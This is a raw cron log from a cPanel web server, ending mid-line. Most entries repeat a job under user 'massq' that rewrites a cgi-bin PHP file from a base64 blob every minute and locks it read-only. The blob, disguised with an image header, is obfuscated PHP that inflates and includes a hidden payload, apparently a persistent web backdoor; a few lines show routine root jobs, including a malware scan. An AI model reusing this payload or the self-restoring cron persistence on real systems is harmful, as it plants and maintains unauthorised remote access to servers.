Nov 11 03:22:01 server CROND[21222]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 03:23:01 server CROND[22022]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 03:24:01 server CROND[22839]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 03:25:01 server CROND[23701]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 03:25:01 server CROND[23702]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 03:25:01 server CROND[23703]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 03:26:01 server anacron[3864]: Job `cron.daily' started
Nov 11 03:26:01 server run-parts(/etc/cron.daily)[24579]: starting csget
Nov 11 03:26:01 server run-parts(/etc/cron.daily)[24588]: finished csget
Nov 11 03:26:01 server run-parts(/etc/cron.daily)[24579]: starting logclean
Nov 11 03:26:01 server run-parts(/etc/cron.daily)[24602]: finished logclean
Nov 11 03:26:01 server run-parts(/etc/cron.daily)[24579]: starting logrotate
Nov 11 03:26:01 server CROND[24613]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 03:26:02 server run-parts(/etc/cron.daily)[24633]: finished logrotate
Nov 11 03:26:02 server run-parts(/etc/cron.daily)[24579]: starting maldet
Nov 11 03:27:01 server CROND[25483]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 03:27:01 server CROND[25485]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &amp;&gt; /dev/null &amp;&amp; /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/nightly_gzip)
Nov 11 03:27:01 server CROND[25484]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 03:28:01 server CROND[26307]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 03:29:01 server CROND[27128]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 03:30:01 server CROND[27946]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 03:30:01 server CROND[27949]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 03:30:01 server CROND[27948]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 03:30:01 server CROND[27950]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 03:30:49 server run-parts(/etc/cron.daily)[29123]: finished maldet
Nov 11 03:30:49 server run-parts(/etc/cron.daily)[24579]: starting man-db.cron
Nov 11 03:30:49 server run-parts(/etc/cron.daily)[29207]: finished man-db.cron
Nov 11 03:30:49 server anacron[3864]: Job `cron.daily' terminated
Nov 11 03:30:49 server anacron[3864]: Normal exit (1 job run)
Nov 11 03:31:01 server CROND[29372]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 03:32:01 server CROND[31865]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 03:33:01 server CROND[32682]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 03:34:01 server CROND[720]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLc